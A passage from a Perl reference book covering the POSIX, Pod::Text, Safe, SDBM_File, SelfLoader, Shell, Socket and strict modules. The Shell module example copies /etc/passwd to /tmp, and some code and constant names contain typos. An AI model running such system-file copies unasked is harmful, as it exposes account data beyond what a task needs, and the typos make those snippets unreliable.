C-specific; use regular expressions instead.

strerror

Returns the error string for the specified errno.

strftime

Converts date and time information to string. Returns the string.

strftime(fmt, sec, min, hour, mday, mon, year,
            wday = 0, yday = 0, isdst = 0)
The month (mon), weekday (wday), and yearday (yday) begin at zero. That is, January is 0, not 1; Sunday is 0, not 1; January 1st is 0, not 1. The year (year) is given in years since 1900. That is, the year 1995 is 95; the year 2001 is 101. Consult your system's strftime(3) manpage for details about these and the other arguments. The string for Tuesday, December 12, 1995:
$str = POSIX::strftime("%A, %B %d, %Y", 0, 0, 0, 12,
                        11, 95, 2);
print "$str\n";

strlen

C-specific; use length instead.

strncat

C-specific; use .= and/or substr instead.

strncmp

C-specific; use eq and/or substr instead.

strncpy

C-specific; use = and/or substr instead.

strpbrk

C-specific.

strrchr

C-specific; use rindex and/or substr instead.

strspn

C-specific.

strstr

Identical to Perl's built-in index function.

strtod

C-specific.

strtok

C-specific.

strtol

C-specific.

strtoul

C-specific.

strxfrm

String transformation. Returns the transformed string.

$dst = POSIX::strxfrm($src);

sysconf

Retrieves values of system configurable variables. Returns undef on failure. The following will get the machine's clock speed.

$clock_ticks = POSIX::sysconf(&POSIX::_SC_CLK_TCK);

system

Identical to Perl's built-in system function.

tan

Identical to the C function tan(3).

tanh

Identical to the C function tanh(3).

tcdrain

Similar to the C function tcdrain(3). Returns undef on failure.

tcflow

Similar to the C function tcflow(3). Returns undef on failure.

tcflush

Similar to the C function tcflush(3). Returns undef on failure.

tcgetpgrp

Identical to the C function tcgetpgrp(3).

tcsendbreak

Similar to the C function tcsendbreak(3). Returns undef on failure.

tcsetpgrp

Similar to the C function tcsetpgrp(3). Returns undef on failure.

time

Identical to Perl's built-in time function.

times

Returns elapsed realtime since some point in the past (such as system startup), user and system times for this process, and user and system times for child processes. All times are returned in clock ticks.

($realtime, $user, $system, $cuser, $csystem) = POSIX::times();
Note: Perl's built-in times function returns four values, measured in seconds.

tmpfile

Use method FileHandle::new_tmpfile() instead.

tmpnam

Returns a name for a temporary file.

$tmpfile = POSIX::tmpnam();

tolower

Identical to Perl's built-in lc function.

toupper

Identical to Perl's built-in uc function.

ttyname

Identical to the C function ttyname(3).

tzname

Retrieves the time conversion information from the tzname variable.

POSIX::tzset();
($std, $dst) = POSIX::tzname();

tzset

Identical to the C function tzset(3).

umask

Identical to Perl's built-in umask function.

uname

Gets name of current operating system.

($sysname, $nodename, $release,
     $version, $machine) = POSIX::uname();

ungetc

Use method FileHandle::ungetc() instead.

unlink

Identical to Perl's built-in unlink function.

utime

Identical to Perl's built-in utime function.

vfprintf

C-specific.

vprintf

C-specific.

vsprintf

C-specific.

wait

Identical to Perl's built-in wait function.

waitpid

Wait for a child process to change state. This is identical to Perl's built-in waitpid function.

$pid = POSIX::waitpid(-1, &POSIX::WNOHANG);
print "status = ", ($? / 256), "\n";

wcstombs

Identical to the C function wcstombs(3).

wctomb

Identical to the C function wctomb(3).

write

Writes to a file. Uses file descriptors such as those obtained by calling POSIX::open(). Returns undef on failure.

$fd = POSIX::open("foo", &POSIX::O_WRONLY);
$buf = "hello";
$bytes = POSIX::write($b, $buf, 5);

7.2.49.3 Pathname constants

_PC_CHOWN_RESTRICTED | _PC_LINK_MAX | _PC_MAX_CANON
_PC_MAX_INPUT | _PC_NAME_MAX | _PC_NO_TRUNC
_PC_PATH_MAX | _PC_PIPE_BUF | _PC_VDISABLE

7.2.49.4 POSIX constants

_POSIX_ARG_MAX | _POSIX_CHILD_MAX | _POSIX_CHOWN_RESTRICTED
_POSIX_JOB_CONTROL | _POSIX_LINK_MAX | _POSIX_MAX_CANON
_POSIX_MAX_INPUT | _POSIX_NAME_MAX | _POSIX_NGROUPS_MAX
_POSIX_NO_TRUNC | _POSIX_OPEN_MAX | _POSIX_PATH_MAX
_POSIX_PIPE_BUF | _POSIX_SAVED_IDS | _POSIX_SSIZE_MAX
_POSIX_STREAM_MAX | _POSIX_TZNAME_MAX | _POSIX_VDISABLE
_POSIX_VERSION

7.2.49.5 System configuration

_SC_ARG_MAX
_SC_CHILD_MAX | _SC_CLK_TCK | _SC_JOB_CONTROL | _SC_NGROUPS_MAX
_SC_OPEN_MAX | _SC_SAVED_IDS | _SC_STREAM_MAX | _SC_TZNAME_MAX
_SC_VERSION

7.2.49.6 Error constants

E2BIG
EACCES | EAGAIN | EBADF | EBUSY | ECHILD | EDEADLK | EDOM
EEXIST | EFAUL | EFBIG | EINTR | EINVAL | EIO | EISDIR
EMFILE | EMLINK | ENAMETOOLONG | ENFILE | ENODE | ENOENT | ENOEXEC
ENOLCK | ENOMEM | ENOSPC | ENOSYS | ENOTDIR | ENOTEMPTY | ENOTTY
ENXIO | EPERM | EPIPE | ERANGE | EROFS | ESPIPE | ESRCH
EXDEV

7.2.49.7 File control constants

FD_CLOEXEC | F_DUPFD | F_GETFD | F_GETFL | F_GETLK | F_OK
F_RDLCK | F_SETFD | F_SETFL | F_SETLK | F_SETLKW | F_UNLCK
F_WRLCK | O_ACCMODE | O_APPEND | O_CREAT | O_EXCL | O_NOCTTY
O_NONBLOCK | O_RDONLY | O_RDWR | O_TRUNC | O_WRONLY

7.2.49.8 Floating-point constants

DBL_DIG | DBL_EPSILON | DBL_MANT_DIG
DBL_MAX | DBL_MAX_10_EXP | DBL_MAX_EXP | DBL_MIN
DBL_MIN_10_EXP | DBL_MIN_EXP | FLT_DIG | FLT_EPSILON
FLT_MANT_DIG | FLT_MAX | FLT_MAX_10_EXP | FLT_MAX_EXP
FLT_MIN | FLT_MIN_10_EXP | FLT_MIN_EXP | FLT_RADIX
FLT_ROUNDS | LDBL_DIG | LDBL_EPSILON | LDBL_MANT_DIG
LDBL_MAX | LDBL_MAX_10_EXP | LDBL_MAX_EXP | LDBL_MIN
LDBL_MIN_10_EXP | LDBL_MIN_EXP

7.2.49.9 Limit constants

ARG_MAX | CHAR_BIT | CHAR_MAX | CHAR_MIN | CHILD_MAX
INT_MAX | INT_MIN | LINK_MAX | LONG_MAX | LONG_MIN
MAX_CANON | MAX_INPUT | MB_LEN_MAX | NAME_MAX | NGROUPS_MAX
OPEN_MAX | PATH_MAX | PIPE_BUF | SCHAR_MAX | SCHAR_MIN
SHRT_MAX | SHRT_MIN | SSIZE_MAX | STREAM_MAX | TZNAME_MAX
UCHAR_MAX | UINT_MAX | ULONG_MAX USHRT_MAX

7.2.49.10 Locale constants

LC_ALL | LC_COLLATE | LC_CTYPE | LC_MONETARY
LC_NUMERIC | LC_TIME

7.2.49.11 Math constants

HUGE_VAL

7.2.49.12 Signal constants

SA_NOCLDSTOP | SIGABRT | SIGALRM
SIGCHLD | SIGCONT | SIGFPE | SIGHUP | SIGILL | SIGINT
SIGKILL | SIGPIPE | SIGQUIT | SIGSEGV | SIGSTOP | SIGTERM
SIGTSTP | SIGTTIN | SIGTTOU | SIGUSR1 | SIGUSR2 | SIG_BLOCK
SIG_DFL | SIG_ERR | SIG_IGN | SIG_SETMASK | SIG_UNBLOCK

7.2.49.13 Stat constants

S_IRGRP | S_IROTH | S_IRUSR | S_IRWXG | S_IRWXO
S_IRWXU | S_ISGID | S_ISUID | S_IWGRP | S_IWOTH | S_IWUSR | S_IXGRP
S_IXOTH | S_IXUSR

7.2.49.14 Stat macros

S_ISBLK S_ISCHR S_ISDIR S_ISFIFO S_ISREG

7.2.49.15 Stdlib constants

EXIT_FAILURE | EXIT_SUCCESS
MB_CUR_MAX | RAND_MAX

7.2.49.16 Stdio constants

BUFSIZ | EOF | FILENAME_MAX
L_ctermid | L_cuserid | L_tmpname | TMP_MAX

7.2.49.17 Time constants

CLK_TCK
CLOCKS_PER_SEC

7.2.49.18 Unistd constants

R_OK | SEEK_CUR
SEEK_END | SEEK_SET | STDIN_FILENO | STDOUT_FILENO | STRERR_FILENO
W_OK | X_OK

7.2.49.19 Wait constants

WNOHANG WUNTRACED

7.2.49.20 Wait macros

WIFEXITED WEXITSTATUS WIFSIGNALED WTERMSIG WIFSTOPPED WSTOPSIG

Previous: 7.2.48 overload - Overload Perl's Mathematical Operations | Programming Perl | Next: 7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text
7.2.48 overload - Overload Perl's Mathematical Operations | Book Index | 7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text


[Chapter 7] 7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text

Programming PerlSearch this book

7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text

use Pod::Text;

pod2text("perlfunc.pod", *filehandle);  # send formatted output to file
$text = pod2text("perlfunc.pod");       # assign formatted output to $text

Pod::Text converts documentation in the POD format (such as can be found throughout the Perl distribution) into formatted ASCII text. Termcap is optionally supported for boldface/underline, and can be enabled with:

$Pod::Text::termcap=1

If termcap is not enabled, backspaces are used to simulate bold and underlined text.

The pod2text() subroutine can take one or two arguments. The first is the name of a file to read the POD from, or "<&STDIN" to read from STDIN. The second argument, if provided, is a filehandle glob where output should be sent. (Use *STDOUT to write to STDOUT.)

A separate pod2text program is included as part of the standard Perl distribution. Primarily, a wrapper for Pod::Text, it can be invoked this way:

pod2text < input.pod

Previous: 7.2.49 POSIX - Perl Interface to IEEE Std 1003.1 | Programming Perl | Next: 7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code
7.2.49 POSIX - Perl Interface to IEEE Std 1003.1 | Book Index | 7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code


[Chapter 7] 7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code

Programming PerlSearch this book

7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code

use Safe;
$cpt = new Safe;  # create a new safe compartment

The Safe extension module allows the creation of compartments in which untrusted Perl code can be evaluated. Each compartment provides a new namespace and has an associated operator mask.

The root of the namespace (that is, main::) is changed to a different package, and code evaluated in the compartment cannot refer to variables outside this namespace, even with run-time glob lookups and other tricks. Code that is compiled outside the compartment can choose to place variables into (or share variables with) the compartment's namespace, and only that data will be visible to code evaluated in the compartment.

By default, the only variables shared with compartments are the underscore variables $_ and @_ (and, technically, the much less frequently used %_, the _ filehandle and so on). This is because otherwise Perl operators that default to $_ would not work and neither would the assignment of arguments to @_ on subroutine entry.

Each compartment has an associated operator mask with which you can exclude particular Perl operators from the compartment. (The mask syntax is explained below.) Recall that Perl code is compiled into an internal format before execution. Evaluating Perl code (for example, via eval STRING or do FILE) causes the code to be compiled into an internal format and then, provided there was no error in the compilation, executed. Code evaluated in a compartment is compiled subject to the compartment's operator mask. Attempting to evaluate compartmentalized code that contains a masked operator will cause the compilation to fail with an error. The code will not be executed.

By default, the operator mask for a newly created compartment masks out all operations that give access to the system in some sense. This includes masking off operators such as system, open, chown, and shmget, but operators such as print, sysread, and <FILEHANDLE> are not masked off. These file operators are allowed since, in order for the code in the compartment to have access to a filehandle, the code outside the compartment must have explicitly placed the filehandle variable inside the compartment.

Since it is only at the compilation stage that the operator mask applies, controlled access to potentially unsafe operations can be achieved by having a handle to a wrapper subroutine (written outside the compartment) placed into the compartment. For example:

$cpt = new Safe;
sub wrapper {
    ;# vet arguments and perform potentially unsafe operations
}
$cpt->share('&wrapper');  # see share method below

An operator mask exists at user-level as a string of bytes of length MAXO, each of which is either 0x00 or 0x01. Here, MAXO is the number of operators in the current version of Perl. The subroutine MAXO (available for export by package Safe) returns the number of operators in the currently running Perl executable. The presence of a 0x01 byte at offset n of the string indicates that operator number n should be masked (that is, disallowed). The Safe extension makes available routines for converting from operator names to operator numbers (and vice versa) and for converting from a list of operator names to the corresponding mask (and vice versa).

7.2.51.1 Methods in class Safe

To create a new compartment, use:

$cpt = new Safe NAMESPACE, MASK;

where NAMESPACE is the root namespace to use for the compartment (defaults to Safe::Root000000000, auto-incremented for each new compartment). MASK is the operator mask to use. Both arguments are optional.

The following methods can then be used on the compartment object returned by the above constructor. The object argument is implicit in each case.

root(NAMESPACE)

A get-or-set method for the compartment's namespace. With the NAMESPACE argument present, it sets the root namespace for the compartment. With no NAMESPACE argument present, it returns the current root namespace of the compartment.

mask(MASK)

A get-or-set method for the compartment's operator mask. With the MASK argument present, it sets the operator mask for the compartment. With no MASK argument present, it returns the current operator mask of the compartment.

trap(OP, ...)

Sets bits in the compartment's operator mask corresponding to each operator named in the list of arguments. Each OP can be either the name of an operation or its number. See opcode.h or opcode.pl in the main Perl distribution for a canonical list of operator names.

untrap(OP, ...)

Resets bits in the compartment's operator mask corresponding to each operator named in the list of arguments. Each OP can be either the name of an operation or its number. See opcode.h or opcode.pl in the main Perl distribution for a canonical list of operator names.

share(VARNAME, ...)

Shares the variables in the argument list with the compartment. Each VARNAME must be a string containing the name of a variable with a leading type identifier included. Examples of legal variable names are $foo for a scalar, @foo for an array, %foo for a hash, &foo for a subroutine and *foo for a typeglob. (A typeglob results in the sharing of all symbol table entries associated with foo, including scalar, array, hash, subroutine, and filehandle.)

varglob(VARNAME)

Returns a typeglob for the symbol table entry of VARNAME in the package of the compartment. VARNAME must be the name of a variable without any leading type marker. For example:

$cpt = new Safe 'Root';
$Root::foo = "Hello world";
# Equivalent version which doesn't need to know $cpt's package name:
${$cpt->varglob('foo')} = "Hello world";
reval(STRING)

Evaluates STRING as Perl code inside the compartment. The code can only see the compartment's namespace (as returned by the root() method). Any attempt by code in STRING to use an operator which is in the compartment's mask will cause an error (at run-time of the main program, but at compile-time for the code in STRING). If the code in STRING includes an eval (and the eval operator is permitted) then the error can occur at run-time for STRING (although it is at compile-time for the eval within STRING). The error is of the form "%s trapped by operation mask operation...." If an operation is trapped in this way, then the code in STRING will not be executed. If such a trapped operation occurs, or if any other compile-time or return error occurs, then $@ is set to the error message, just as with an eval. If there is no error, then the method returns the value of the last expression evaluated, or a return statement may be used, just as with subroutines and eval.

rdo(FILENAME)

Evaluates the contents of file FILENAME inside the compartment. See the reval() method earlier for further details.

7.2.51.2 Subroutines in package Safe

The Safe package contains subroutines for manipulating operator names and operator masks. All are available for export by the package. The canonical list of operator names is contained in the array op_name defined and initialized in file opcode.h of the Perl source distribution.

ops_to_mask(OP, ...)

Takes a list of operator names and returns an operator mask with precisely those operators masked.

mask_to_ops(MASK)

Takes an operator mask and returns a list of operator names corresponding to those operators which are masked in MASK.

opcode(OP, ...)

Takes a list of operator names and returns the corresponding list of opcodes (which can then be used as byte offsets into a mask).

opname(OP, ...)

Takes a list of opcodes and returns the corresponding list of operator names.

fullmask

Returns a mask with all operators masked. It returns the string "\001" x MAXO().

emptymask

Returns a mask with all operators unmasked. It returns the string "\0" x MAXO(). This is useful if you want a compartment to make use of the name-space protection features but do not want the default restrictive mask.

MAXO

This returns the number of operators (hence the length of an operator mask).

op_mask

This returns the operator mask that is actually in effect at the time the invocation to the subroutine is compiled. This is probably not terribly useful.

Previous: 7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text | Programming Perl | Next: 7.2.52 SDBM_File - Tied Access to SDBM Files
7.2.50 Pod::Text - Convert POD Data to Formatted ASCII Text | Book Index | 7.2.52 SDBM_File - Tied Access to SDBM Files


[Chapter 7] 7.2.52 SDBM_File - Tied Access to SDBM Files

Programming PerlSearch this book

7.2.52 SDBM_File - Tied Access to SDBM Files

use Fcntl;
use SDBM_File;

tie(%hash, SDBM_File, 'Op.dbmx', O_RDWR|O_CREAT, 0644);
# read/writes of %hash are now read/writes of the file, Op.dmx.pag
untie %h;

See Perl's built-in tie function. Also see the DB_File module in this chapter for a description of a closely related module.

Previous: 7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code | Programming Perl | Next: 7.2.53 Search::Dict - Search for Key in Dictionary File
7.2.51 Safe - Create Safe Namespaces for Evaluating Perl Code | Book Index | 7.2.53 Search::Dict - Search for Key in Dictionary File


[Chapter 7] 7.2.53 Search::Dict - Search for Key in Dictionary File

Programming PerlSearch this book

7.2.53 Search::Dict - Search for Key in Dictionary File

use Search::Dict;
look *FILEHANDLE, $key, $dict, $fold;

The look() routine sets the file position in FILEHANDLE to be the first line greater than or equal (stringwise) to $key. It returns the new file position, or -1 if an error occurs.

If $dict is true, the search is in dictionary order (ignoring everything but word characters and whitespace). If $fold is true, then case is ignored. The file must be sorted into the appropriate order, using the -d and -f flags of UNIX sort(1), or the equivalent command on non-UNIX machines. Unpredictable results will otherwise ensue.

Previous: 7.2.52 SDBM_File - Tied Access to SDBM Files | Programming Perl | Next: 7.2.54 SelectSaver - Save and Restore Selected Filehandle
7.2.52 SDBM_File - Tied Access to SDBM Files | Book Index | 7.2.54 SelectSaver - Save and Restore Selected Filehandle


[Chapter 7] 7.2.54 SelectSaver - Save and Restore Selected Filehandle

Programming PerlSearch this book

7.2.54 SelectSaver - Save and Restore Selected Filehandle

use SelectSaver;

select $fh_old;
{
    my $saver = new SelectSaver($fh_new); # selects $fh_new
}
# block ends; object pointed to by "my" $saver is destroyed
# previous handle, $fh_old is now selected

# alternative invocation, without filehandle argument
my $saver = new SelectSaver; # selected filehandle remains unchanged

A SelectSaver object contains a reference to the filehandle that was selected when the object was created. If its new() method is given a filehandle as an argument, then that filehandle is selected; otherwise, the selected filehandle remains unchanged.

When a SelectSaver object is destroyed, the filehandle that was selected immediately prior to the object's creation is re-selected.

Previous: 7.2.53 Search::Dict - Search for Key in Dictionary File | Programming Perl | Next: 7.2.55 SelfLoader - Load Functions Only on Demand
7.2.53 Search::Dict - Search for Key in Dictionary File | Book Index | 7.2.55 SelfLoader - Load Functions Only on Demand


[Chapter 7] 7.2.55 SelfLoader - Load Functions Only on Demand

Programming PerlSearch this book

7.2.55 SelfLoader - Load Functions Only on Demand

package GoodStuff;
use SelfLoader;

[initializing code]
__DATA__
sub {...};

This module is used for delayed loading of Perl functions that (unlike AutoLoader functions) are packaged within your script file. This gives the appearance of faster loading.

In the example above, SelfLoader tells its user (GoodStuff) that functions in the GoodStuff package are to be autoloaded from after the __DATA__ token.

The __DATA__ token tells Perl that the code for compilation is finished. Everything after the __DATA__ token is available for reading via the filehandle GoodStuff::DATA, where GoodStuff is the name of the current package when the __DATA__ token is reached. This token works just the same as __END__ does in package main, except that data after __END__ is retrievable only in package main, whereas data after __DATA__ is retrievable in whatever the current package is.

Note that it is possible to have __DATA__ tokens in the same package in multiple files, and that the last __DATA__ token in a given package that is encountered by the compiler is the one accessible by the filehandle. That is, whenever the __DATA__ token is parsed, any DATA filehandle previously open in the current package (opened in a different file, presumably) is closed so that the new one can be opened. (This also applies to __END__ and the main::DATA filehandle: main::DATA is reopened whenever __END__ is encountered, so any former association is lost.)

7.2.55.1 SelfLoader autoloading

The SelfLoader will read from the GoodStuff::DATA filehandle to get definitions for functions placed after __DATA__, and then eval the requested subroutine the first time it's called. The costs are the one-time parsing of the data after __DATA__, and a load delay for the first call of any autoloaded function. The benefits are a speeded up compilation phase, with no need to load functions that are never used.

You can use __END__ after __DATA__. The SelfLoader will stop reading from DATA if it encounters the __END__ token, just as you might expect. If the __END__ token is present, and is followed by the token DATA, then the SelfLoader leaves the GoodStuff::DATA filehandle open on the line after that token.

The SelfLoader exports the AUTOLOAD subroutine to the package using the SelfLoader, and this triggers the automatic loading of an undefined subroutine out of its DATA portion the first time that subroutine is called.

There is no advantage to putting subroutines that will always be called after the __DATA__ token.

7.2.55.2 Autoloading and file-scoped lexicals

A my $pack_lexical statement makes the variable $pack_lexical visible only up to the __DATA__ token. That means that subroutines declared elsewhere cannot see lexical variables. Specifically, autoloaded functions cannot see such lexicals (this applies to both the SelfLoader and the Autoloader). The use vars pragma (see later in this chapter) provides a way to declare package-level globals that will be visible to autoloaded routines.

7.2.55.3 SelfLoader and AutoLoader

The SelfLoader can replace the AutoLoader - just change use AutoLoader to use SelfLoader[13] and the __END__ token to __DATA__.

[13] Be aware, however, that the SelfLoader exports an AUTOLOAD function into your package. But if you have your own AUTOLOAD and are using the AutoLoader too, you probably know what you're doing.

There is no need to inherit from the SelfLoader.

The SelfLoader works similarly to the AutoLoader, but picks up the subroutine definitions from after the __DATA__ instead of in the lib/auto/ directory. SelfLoader needs less maintenance at the time the module is installed, since there's no need to run AutoSplit. And it can run faster at load time because it doesn't need to keep opening and closing files to load subroutines. On the other hand, it can run slower because it needs to parse the code after the __DATA__. Details of the AutoLoader and another view of these distinctions can be found in that module's documentation.

7.2.55.4 How to read DATA from your Perl program

(This section is only relevant if you want to use the GoodStuff::DATA together with the SelfLoader.)

The SelfLoader reads from wherever the current position of the GoodStuff::DATA filehandle is, until EOF or the __END__ token. This means that if you want to use that filehandle (and only if you want to), you should either

  • Put all your subroutine declarations immediately after the __DATA__ token and put your own data after those declarations, using the __END__ token to mark the end of subroutine declarations. You must also ensure that the SelfLoader first reads its stubs by calling SelfLoader->load_stubs();, or by using a function which is selfloaded; or

  • You should read the GoodStuff::DATA filehandle first, leaving the handle open and positioned at the first line of subroutine declarations.

You could even conceivably do both.

7.2.55.5 Classes and inherited methods

This section is only relevant if your module is a class, and has methods that could be inherited.

A subroutine stub (or forward declaration) looks like:

sub stub;

That is, it is a subroutine declaration without the body of the subroutine. For modules that aren't classes, there is no real need for stubs as far as autoloading is concerned.

For modules that are classes, and need to handle inherited methods, stubs are needed to ensure that the method inheritance mechanism works properly. You can load the stubs into the module at require time, by adding the statement SelfLoader->load_stubs(); to the module to do this.

The alternative is to put the stubs in before the __DATA__ token before releasing the module, and for this purpose the Devel::SelfStubber module is available. However this does require the extra step of ensuring that the stubs are in the module. If you do this, we strongly recommended that you do it before releasing the module and not at install time.

7.2.55.6 Multiple packages and fully qualified subroutine names

Subroutines in multiple packages within the same file are supported - but you should note that this requires exporting SelfLoader::AUTOLOAD to every package which requires it. This is done automatically by the SelfLoader when it first loads the subs into the cache, but you should really specify it in the initialization before the __DATA__ by putting a use SelfLoader statement in each package.

Fully qualified subroutine names are also supported. For example:

__DATA__
sub foo::bar {23}
package baz;
sub dob {32}

will all be loaded correctly by the SelfLoader, and the SelfLoader will ensure that the packages "foo" and "baz" correctly have the SelfLoader::AUTOLOAD method when the data after __DATA__ is first parsed.

See the discussion of autoloading in Chapter 5. Also see the AutoLoader module, a utility that handles modules that have been into a collection of files for autoloading.

Previous: 7.2.54 SelectSaver - Save and Restore Selected Filehandle | Programming Perl | Next: 7.2.56 Shell - Run Shell Commands Transparently Within Perl
7.2.54 SelectSaver - Save and Restore Selected Filehandle | Book Index | 7.2.56 Shell - Run Shell Commands Transparently Within Perl


[Chapter 7] 7.2.56 Shell - Run Shell Commands Transparently Within Perl

Programming PerlSearch this book

7.2.56 Shell - Run Shell Commands Transparently Within Perl

use Shell qw(date cp ps);  # list shell commands you want to use

$date = date();   # put the output of the date(1) command into $date
cp("-p" "/etc/passwd", "/tmp/passwd");  # copy password file to a tmp file
print ps("-ww");  # print the results of a "ps -ww" command

This module allows you to invoke UNIX utilities accessible from the shell command line as if they were Perl subroutines. Arguments (including switches) are passed to the utilities as strings.

The Shell module essentially duplicates the built-in backtick functionality of Perl. The module was written so that its implementation could serve as a demonstration of autoloading. It also shows how function calls can be mapped to subprocesses.

Previous: 7.2.55 SelfLoader - Load Functions Only on Demand | Programming Perl | Next: 7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals
7.2.55 SelfLoader - Load Functions Only on Demand | Book Index | 7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals


[Chapter 7] 7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals

Programming PerlSearch this book

7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals

use sigtrap;       # initialize default signal handlers
use sigtrap LIST;  # LIST example:  qw(BUS SEGV PIPE SYS ABRT TRAP)

The sigtrap pragma initializes a signal handler for the signals specified in LIST, or (if no list is given) for a set of default signals. The signal handler prints a stack dump of the program and then issues a (non-trapped) ABRT signal.

In the absence of LIST, the signal handler is set up to deal with the ABRT, BUS, EMT, FPE, ILL, PIPE, QUIT, SEGV, SYS, TERM, and TRAP signals.

Previous: 7.2.56 Shell - Run Shell Commands Transparently Within Perl | Programming Perl | Next: 7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators
7.2.56 Shell - Run Shell Commands Transparently Within Perl | Book Index | 7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators


[Chapter 7] 7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators

Programming PerlSearch this book

7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators

use Socket;

$proto = getprotobyname('udp');
socket(Socket_Handle, PF_INET, SOCK_DGRAM, $proto);
$iaddr = gethostbyname('hishost.com');
$port = getservbyname('time', 'udp');
$sin = sockaddr_in($port, $iaddr);
send(Socket_Handle, 0, 0, $sin);

$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = getservbyname('smtp');
$sin = sockaddr_in($port, inet_aton("127.1"));
$sin = sockaddr_in(7, inet_aton("localhost"));
$sin = sockaddr_in(7, INADDR_LOOPBACK);
connect(Socket_Handle, $sin);

($port, $iaddr) = sockaddr_in(getpeername(Socket_Handle));
$peer_host = gethostbyaddr($iaddr, AF_INET);
$peer_addr = inet_ntoa($iaddr);

socket(Socket_Handle, PF_UNIX, SOCK_STREAM, 0);
unlink('/tmp/usock');
$sun = sockaddr_un('/tmp/usock');
bind(Socket_Handle, $sun);

This module is just a translation of the C socket.h file. Unlike the old mechanism of requiring a translated socket.ph file, this uses the h2xs program (see the Perl source distribution) and your native C compiler. This means that it has a far more likely chance of getting the numbers right. This includes all of the commonly used preprocessor-defined constants like AF_INET, SOCK_STREAM, and so on.

In addition, some structure manipulation functions are available:

inet_aton HOSTNAME

Takes a string giving the name of a host, and translates that to a four-byte, packed string (structure). Takes arguments of both the rtfm.mit.edu and 18.181.0.24 types. If the host name cannot be resolved, returns the undefined value.

inet_ntoa IP_ADDRESS

Takes a four-byte IP address (as returned by inet_aton()) and translates it into a string of the form d.d.d.d where the ds are numbers less than 256 (the normal, readable, dotted-quad notation for Internet addresses).

INADDR_ANY

Note: This function does not return a number, but a packed string. Returns the four-byte wildcard IP address that specifies any of the host's IP addresses. (A particular machine can have more than one IP address, each address corresponding to a particular network interface. This wildcard address allows you to bind to all of them simultaneously.) Normally equivalent to inet_aton('0.0.0.0').

INADDR_LOOPBACK

Note: does not return a number, but a packed string. Returns the four-byte loopback address. Normally equivalent to inet_aton('localhost').

INADDR_NONE

Note: does not return a number, but a packed string. Returns the four-byte invalid IP address. Normally equivalent to inet_aton('255.255.255.255').

sockaddr_in PORT, ADDRESS

sockaddr_in SOCKADDR_IN

In a list context, unpacks its SOCKADDR_IN argument and returns a list consisting of (PORT, ADDRESS). In a scalar context, packs its (PORT, ADDRESS) arguments as a SOCKADDR_IN and returns it. If this is confusing, use pack_sockaddr_in() and unpack_sockaddr_in() explicitly.

pack_sockaddr_in PORT, IP_ADDRESS

Takes two arguments, a port number and a four-byte IP_ADDRESS (as returned by inet_aton()). Returns the sockaddr_in structure with those arguments packed in with AF_INET filled in. For Internet domain sockets, this structure is normally what you need for the arguments in bind, connect, and send, and is also returned by getpeername, getsockname, and recv.

unpack_sockaddr_in SOCKADDR_IN

Takes a sockaddr_in structure (as returned by pack_sockaddr_in()) and returns a list of two elements: the port and the four-byte IP address. This function will croak if the structure does not have AF_INET in the right place.

sockaddr_un PATHNAME

sockaddr_un SOCKADDR_UN

In a list context, it unpacks its SOCKADDR_UN argument and returns a list consisting of (PATHNAME). In a scalar context, it packs its PATHNAME argument as a SOCKADDR_UN and returns it. If this is confusing, use pack_sockaddr_un() and unpack_sockaddr_un() explicitly. These functions are only supported if your system has <sys/un.h>.

pack_sockaddr_un PATH

Takes one argument, a pathname. Returns the sockaddr_un structure with that path packed in with AF_UNIX filled in. For UNIX domain sockets, this structure is normally what you need for the arguments in bind, connect, and send, and is also returned by getpeername, getsockname and recv.

unpack_sockaddr_un SOCKADDR_UN

Takes a sockaddr_un structure (as returned by pack_sockaddr_un()) and returns the pathname. Will croak if the structure does not have AF_UNIX in the right place.

Previous: 7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals | Programming Perl | Next: 7.2.59 strict - Restrict Unsafe Constructs
7.2.57 sigtrap - Enable Stack Backtrace on Unexpected Signals | Book Index | 7.2.59 strict - Restrict Unsafe Constructs


[Chapter 7] 7.2.59 strict - Restrict Unsafe Constructs

Programming PerlSearch this book

7.2.59 strict - Restrict Unsafe Constructs

use strict;        # apply all possible restrictions

use strict 'vars'; # restrict unsafe use of variables for rest of block
use strict 'refs'; # restrict unsafe use of references for rest of block
use strict 'subs'; # restrict unsafe use of barewords for rest of block

no strict 'vars';  # relax restrictions on variables for rest of block
no strict 'refs';  # relax restrictions on references for rest of block
no strict 'subs';  # relax restrictions on barewords for rest of block

If no import list is given to use strict, all possible restrictions upon unsafe Perl constructs are imposed. (This is the safest mode to operate in, but is sometimes too strict for casual programming.) Currently, there are three possible things to be strict about: refs, vars, and subs.

In all cases the restrictions apply only until the end of the immediately enclosing block.

strict 'refs'

This generates a run-time error if you use symbolic references.

use strict 'refs';
$ref = \$foo;
print $$ref;        # ok
$ref = "foo";
print $$ref;        # run-time error; normally ok
strict 'vars'

This generates a compile-time error if you access a variable that wasn't declared via my, or fully qualified, or imported.

use strict 'vars';
use vars '$foe';
$SomePack::fee = 1;  # ok, fully qualified
my $fie = 10;        # ok, my() var
$foe = 7;            # ok, pseudo-imported by 'use vars'
$foo = 9;            # blows up--did you mistype $foe maybe?

The last line generates a compile-time error because you're touching a global name without fully qualifying it. Since the purpose of this pragma is to encourage use of my variables, using local on a variable isn't good enough to declare it. You can, however, use local on a variable that you declared with use vars.

strict 'subs'

This generates a compile-time error if you try to use a bareword identifier that's not a predeclared subroutine.

use strict 'subs';

$SIG{PIPE} = Plumber;     # blows up (assuming Plumber sub not declared yet)
$SIG{PIPE} = "Plumber";   # okay, means "main::Plumber" really
$SIG{PIPE} = \&Plumber;   # preferred form

